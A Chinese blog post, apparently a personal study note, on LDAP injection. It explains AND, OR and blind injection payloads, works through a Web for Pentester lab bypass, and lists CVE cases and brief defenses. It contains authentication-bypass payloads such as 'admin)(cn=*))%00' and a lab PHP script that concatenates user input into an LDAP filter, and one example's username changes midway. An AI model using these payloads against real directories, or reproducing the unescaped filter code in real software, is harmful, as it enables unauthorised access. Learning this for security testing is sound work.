LDAP注入学习小记

0x00 前言

从公司的漏洞手册了解到LDAP注入,于是有了这篇学习博客

0x01 LDAP概述

1.什么是LDAP
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议。LDAP主要用于目录中资源的搜索和查询,是X.500的一种简便的实现。
简单来说,可以理解为LDAP是某种搜索协议,就像我们熟知的数据库一样,我们利用SQL语句进行查询数据库中的数据。而LDAP也有一套自己的查询语句,来进行查询。
但是LDAP和数据库还是有区别的,LDAP并没有数据库那么复杂,可以将LDAP理解为适合读的数据库,

2.LDAP基本语法
LDAP查询数据是通过过滤器来查询,需要注意的是,在OpenLDAP中,第二个过滤器会被忽略,只有第一个会被执行,那么类似上面的这种注入就可以成功的。

(&(attribute=value)(injected_filter)) (second_filter)

注释符:%00

0x02 LDAP注入

1.and注入

(&(parameter1=value1)(parameter2=value2))

假设这里有一个登录模块,输入用户名和密码后,系统生成过滤器查询数据是否存在

filter:
(&(username=uname)(password=passwd))

我们输入payload:

hacker)(&))

此时的filter为
(&(username=Quan)(&))(password=passwd))
LDAP服务器只查询第一个过滤器,又因为(&(username=hacker)(&))恒为真,所以就可以绕过密码登录系统。

2.or注入

(|(parameter1=value1)(parameter2=value2))

假设有一个系统,现在需要通过选择两种资源来查询
filter格式

(|(type=Rsc1)(type=Rsc2))

可以查询系统中所有打印机和扫描器
利用如下payload可以查询所有打印机和其对应用户

Rsc1=printer)(uid=*)

最终filter:

 (|(type=printer)(uid=*))(type=scanner))

只查询filter1

3.blind注入
DAP盲注技术让攻击者使用基于TRUE/FALSE的技术访问所有的信息。
查询正确就返回结果,查询错误则不会返回错误信息
(1)and blind
原本过滤器:

(&(objectClass=printer)(type=Epson*))

查询所有打印机payload:

*)(objectClass=*))(&(objectClass=void

最终filter:

(&(objectclass=*)(objectClass=*))(&(objectClass=void)(type=Epson*))

所以就对第一个过滤器(&(objectclass=*)(objectClass=*))进行查询,恒为真,返回所有打印机图标
也可用*)(objectClass=users))(&(objectClass=foo查询想要的信息

(2)or blind
用于推测想要的信息的逻辑与AND是相反的
原本filter

(|(objectClass=void)(type=Epson*))

payload:

void)(objectClass=users))(&(objectClass=void

查询用户信息

0x03 LDAP靶场练习

这里我们采用web for pentester靶场进行练习。
下载后得到一个镜像,新建虚拟机然后nextnext即可
在这里插入图片描述
Example1
删掉username和password参数
这里利用的是LDAP进行匿名访问,原理可参考
于是返回AUTHENTICATED
在这里插入图片描述
Example2
构造payload:

name=admin)(cn=*))%00&password=hacker

%00注释掉后面的参数
在这里插入图片描述
源码分析:

<?php
  require "../header.php" ; 
  $ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
  ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3); 
  ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
  if ($ld) {
   $lb = @ldap_bind($ld, "cn=admin,dc=pentesterlab,dc=com", "pentesterlab");
    if ($lb) {
      $pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
      $filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
      if (!($search=@ldap_search($ld, "ou=people,dc=pentesterlab,dc=com", $filter))) {
      echo("Unable to search ldap server<br>");
      echo("msg:'".ldap_error($ld)."'</br>");
    } else {
      $number_returned = ldap_count_entries($ld,$search);
      $info = ldap_get_entries($ld, $search);
      if ($info["count"] < 1) {
         //NOK 
         echo "UNAUTHENTICATED";
      }
      else {
        echo "AUTHENTICATED as";
        echo(" ".htmlentities($info[0]['uid'][0]));
      }    
    }
   }
  }
  require "../footer.php" ; 
?>

重点看一下filter

 $filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";

可以看到用户名的参数名为cn
构造恒为真条件:admin)(cn=*)
再闭合第一个filter:admin)(cn=*))
最后注释掉密码:admin)(cn=*)%00
此时生成的filter:(&(cn=admin)(cn=*))%00(userPassword=hacker))
只处理(&(cn=admin)(cn=*)),且恒为真,直接绕过密码认证为admin

0x04 漏洞案例

南方周末LDAP匿名访问泄露敏感信息
https://shuimugan.com/bug/view?bug_no=131421
ortiGate FortiOS < 6.0.3 - LDAP Credential Disclosure (CVE-2018-13374)
Joomla! 3.7.5 LDAP injection vulnerability(CVE-2017-14596)

0x05 防御方法

主要是对输入的字符进行转义
在这里插入图片描述

0x06 LDAP工具

LDAPbrowser
在测试站点存在LDAP注入后可利用LDAPbrowser查看所有数据。

0x07 参考

https://www.freebuf.com/news/170322.html
https://www.jianshu.com/p/d94673be9ed0

posted @ 2019-12-18 20:28  吃不胖的ruanruan  阅读(999)  评论(0编辑  收藏  举报